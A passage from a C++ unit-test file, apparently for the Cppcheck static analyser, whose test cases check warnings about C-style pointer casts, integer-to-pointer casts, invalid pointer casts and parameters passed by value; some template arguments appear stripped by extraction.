Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n 